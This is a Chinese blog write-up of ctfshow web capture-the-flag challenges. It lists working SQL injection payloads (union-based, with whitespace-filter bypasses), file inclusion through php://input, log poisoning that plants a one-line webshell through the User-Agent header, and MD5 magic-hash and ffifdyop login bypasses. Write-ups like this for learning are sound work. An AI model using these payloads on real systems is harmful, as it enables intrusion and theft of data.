ctfshow web做题笔记

web1base64加密

web2普通sql注入

最简单的sql注入,直接在用户名的框,尝试输入万能密码1' or 1=1#,可以看到有回显

 

使用order by查询字段数

------1' or 1=1 order by 3#     正常回显

------1' or 1=1 order by 4#     无回显

因为直接回显到页面上,使用union联合注入查询

1' or 1=1 union select 1,2,3#

在2的位置有回显,就在这里注入

爆库名

1' or 1=1 union select 1,database(),3#

爆表名

1' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2'#

爆列名

1' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'#

爆数据内容

1' or 1=1 union select 1,flag,3 from flag#

web3伪协议

打开界面如下:提示我们传url参数

php文件考虑文件包含漏洞,地址后加上?url=/etc/password,显示如下页面,说明存在文件包含。

上burp抓包,使用php的php://input伪协议,使用'ls'命令查看文件内容

访问ctf_go_go_go拿到flag

web4日志注入

日志注入:?url=/var/log/nginx/access.log

打开界面如下:提示文件包含,和一个get方式的url参数,虽然使用php://input伪协议依旧有回显,但是却不能执行php代码

抓包试试,发给重发器,我们能看到服务器为nginx,nginx的默认日志文件路径是 /var/log/nginx/access.log

访问他的默认日志文件

然后在user-agent添加一个一句话木马进去,使用burp或者hackbar都可以

再上蚁剑去连接

web5 MD5绕过!

打开页面后,显示部分源码,不难看到有MD5的字眼,意思就是get传入v1和v2两个参数,并且v1是字符串而v2是数字,然后v1v2的MD5值相等输出flag

------ctype_alpha()函数用于检查字符串是否纯字母祖成,是则返回true,否则返回flase。

------is_numeric()函数用于检查变量是否是纯数字或者纯数字串,是则返回true,否则返回flase。

这里用到了一些MD5的绕过知识:

QNKCDZO 的md5值为 0e830400451993494058024219903391

240610708 的md5值为 0e462097431906509019562988736854

开头为0e,而0e开头的字符串参与比较(==)时,会转化为0,也就是0=0,从而返回true 

?v1=QNKCDZO&v2=240610708

web6空格过滤

使用正常的sql万能密码去测试显示:

上burp抓包,抓包后观察注入语句,发现应该是空格被过滤了

空格被过滤的绕过姿势:%a0,/**/等代替空格,这里我使用的/**/

万能密码:admin'/**/or/**/1=1#

admin'/**/or/**/1=1/**/union/**/select/**/1,2,3#

admin'/**/or/**/1=1/**/union/**/select/**/1,database(),3#

admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'#

admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#

admin'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag#

web7同样空格过滤

打开后页面显示这样,随便点一个进去,

可以看到http地址框的显示,很熟悉就想到在这里进行注入

但是使用了万能密码admin' or 1=1#进行测试显示sql注入错误,联想到上一关是不是这一关也过滤了什么

打开burp抓包,观察抓包结果,猜测依旧是空格过滤掉了

我们使用/**/代替空格进行注入

因为sql语句恒为真被成功执行,数据库显示true,返回所有内容

接下来就是正常的sql注入

猜列数:

------id=1/**/or/**/1=1/**/order/**/by/**/3#   正常回显

------id=1/**/or/**/1=1/**/order/**/by/**/4#   回显错误

union联合注入:id=1/**/union/**/select/**/1,2,3#    两个回显点

爆库名:id=1/**/union/**/select/**/1,database(),3#

爆表名:id=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#

爆列名:id=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name="flag"#

爆数据内容:id=1/**/union/**/select/**/1,flag,3/**/from/**/flag#

web8布尔盲注

看的网上的wp,大多采用的py脚本得到flag

手工的话确实麻烦

web9MD5加密绕过

打开后界面显示:

测试之前的关卡的方法都不能使用

那就扫一下网站吧,dirsearch -u 网址 -e *

扫出来一个/robots.txt的目录,访问它,显示如下:

然后再访问/index.phps,得到后台登录验证的部分源码

分析这段代码,意思就是说我们输入的密码会自动加密成MD5,利用网上的MD5加密漏洞来绕过,原理就是MD5加密后的十六进制字符串转换成二进制为'or'xxxx就行,这样就构成闭合语句: username ='admin' and password =‘ ’or 'xxxxx'

在密码框中输入:ffifdyop,即可登录成功,获取到flag

注:ffifdyop的MD5加密结果是276f722736c95d99e921722cf9ed621c,经过MySQL编码后会变成'or'6xxx(二进制),使SQL恒成立,相当于万能密码,可以绕过MD5()函数加密

web10

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值